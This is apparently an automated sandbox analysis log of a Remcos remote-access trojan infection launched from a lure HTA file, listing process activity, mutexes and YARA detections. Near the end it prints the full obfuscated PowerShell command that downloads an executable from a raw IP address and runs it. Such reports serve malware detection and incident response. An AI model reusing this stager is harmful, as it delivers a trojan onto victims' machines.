                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C42C876_2_02C42C87
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C54C8C6_2_02C54C8C
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C36D876_2_02C36D87
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C4F3B66_2_02C4F3B6
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C4F1876_2_02C4F187
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C61A976_2_02C61A97
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C47A9C6_2_02C47A9C
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C23E6F6_2_02C23E6F
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284528610_2_02845286
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028613D410_2_028613D4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0283515210_2_02835152
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284569E10_2_0284569E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028416FB10_2_028416FB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028357FB10_2_028357FB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0285370010_2_02853700
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0286050B10_2_0286050B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284651010_2_02846510
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02845AD310_2_02845AD3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0285ABA910_2_0285ABA9
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02834BC310_2_02834BC3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284DBFB10_2_0284DBFB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028228E310_2_028228E3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284D9CC10_2_0284D9CC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0282B91710_2_0282B917
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0283596410_2_02835964
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0282CEAF10_2_0282CEAF
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0284DE2A10_2_0284DE2A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02845F0810_2_02845F08
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02843C0B10_2_02843C0B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02844D8A10_2_02844D8A
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: 11_2_02BF20C411_2_02BF20C4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B528614_2_024B5286
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024D13D414_2_024D13D4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024A515214_2_024A5152
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B16FB14_2_024B16FB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B569E14_2_024B569E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024C370014_2_024C3700
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024A57FB14_2_024A57FB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024D050B14_2_024D050B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B651014_2_024B6510
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B5AD314_2_024B5AD3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024A4BC314_2_024A4BC3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024BDBFB14_2_024BDBFB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024CABA914_2_024CABA9
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024928E314_2_024928E3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024A596414_2_024A5964
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0249B91714_2_0249B917
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024BD9CC14_2_024BD9CC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024BDE2A14_2_024BDE2A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0249CEAF14_2_0249CEAF
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B5F0814_2_024B5F08
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B3C0B14_2_024B3C0B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B4D8A14_2_024B4D8A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 024B2525 appears 41 times
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 02842525 appears 41 times
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 02812073 appears 51 times
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 02482073 appears 51 times
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 024B2B90 appears 53 times
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 02842B90 appears 53 times
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: String function: 02BF46A4 appears 154 times
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: String function: 02BF480C appears 619 times
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: String function: 02C087A0 appears 48 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BC87A0 appears 54 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BC8824 appears 45 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BB44D0 appears 32 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BB44AC appears 73 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BB46A4 appears 244 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02C4411C appears 43 times
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: String function: 02BB480C appears 931 times
                Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 14.2.colorcpl.exe.2480000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 18.2.colorcpl.exe.3200000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 10.2.colorcpl.exe.2810000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 18.2.colorcpl.exe.3200000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 10.2.colorcpl.exe.2810000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 14.2.colorcpl.exe.2480000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 6.2.nicerose.exe.2bb0000.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                Source: 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
                Source: Process Memory Space: nicerose.exe PID: 6500, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: colorcpl.exe PID: 5368, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: colorcpl.exe PID: 4940, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: Process Memory Space: colorcpl.exe PID: 3864, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                Source: nicerose.exe.3.drBinary string: \Device\Floppy0U
                Source: nicerose.exe.3.drBinary string: \Device\Floppy0
                Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winHTA@32/21@2/4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02825C90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,10_2_02825C90
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02495C90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,14_2_02495C90
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB7F5A GetDiskFreeSpaceA,6_2_02BB7F5A
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281E2E7 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle,10_2_0281E2E7
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC6D50 CoCreateInstance,6_2_02BC6D50
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02829493 FindResourceA,LoadResource,LockResource,SizeofResource,10_2_02829493
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02828AC3 OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,10_2_02828AC3
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nicerose[1].exeJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\SysWOW64\colorcpl.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2gobldut.1qj.ps1Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                Source: C:\Users\Public\Libraries\Emxwenem.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
                Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.htaReversingLabs: Detection: 15%
                Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta"
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
